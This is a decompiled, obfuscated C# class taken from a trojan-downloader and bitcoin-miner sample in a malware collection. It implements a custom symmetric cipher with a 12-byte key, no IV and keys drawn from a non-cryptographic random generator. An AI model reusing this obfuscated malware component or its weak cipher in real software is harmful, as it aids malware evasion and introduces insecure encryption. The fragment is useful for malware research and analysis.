// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe

using \u0001\u0002;
using \u000E;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

namespace \u0001\u0002
{
  internal sealed class \u0005\u0002 : \u009F
  {
    private byte[] \u0001;

    [SpecialName]
    public override int get_BlockSize() => 8;

    [SpecialName]
    public override void set_BlockSize([In] int obj0)
    {
      if (obj0 != 8)
        throw new CryptographicException(\u0008.\u000E\u0003(914));
    }

    [SpecialName]
    public override KeySizes[] get_LegalKeySizes() => new KeySizes[1]
    {
      new KeySizes(96, 96, 0)
    };

    public override void GenerateIV()
    {
    }

    [SpecialName]
    public override KeySizes[] get_LegalBlockSizes() => new KeySizes[1]
    {
      new KeySizes(8, 8, 0)
    };

    [SpecialName]
    public override byte[] get_Key()
    {
      if (this.\u0001 == null)
        \u0093\u0003.\u007E\u0006\u0006((object) this);
      return (byte[]) \u001B\u0005.\u007E\u009A((object) this.\u0001);
    }

    [SpecialName]
    public override void set_Key([In] byte[] obj0)
    {
      if (obj0 == null)
        throw new ArgumentNullException(\u0008.\u000E\u0003(943));
      if (obj0.Length != 12)
        throw new CryptographicException(\u0008.\u000E\u0003(952));
      this.\u0001 = (byte[]) \u001B\u0005.\u007E\u009A((object) obj0);
    }

    public override void GenerateKey()
    {
      this.\u0001 = new byte[12];
      Random random = new Random();
      \u0008\u0004.\u007E\u0090\u0003((object) random, this.\u0001);
    }

    public override ICryptoTransform CreateEncryptor([In] byte[] obj0, [In] byte[] obj1)
    {
      this.\u0001 = obj0;
      return (ICryptoTransform) new \u0003\u0002(\u008A\u0005.\u007E\u009F\u0005((object) this));
    }

    public override ICryptoTransform CreateDecryptor([In] byte[] obj0, [In] byte[] obj1)
    {
      this.\u0001 = obj0;
      return (ICryptoTransform) new \u0004\u0002(\u008A\u0005.\u007E\u009F\u0005((object) this));
    }
  }
}
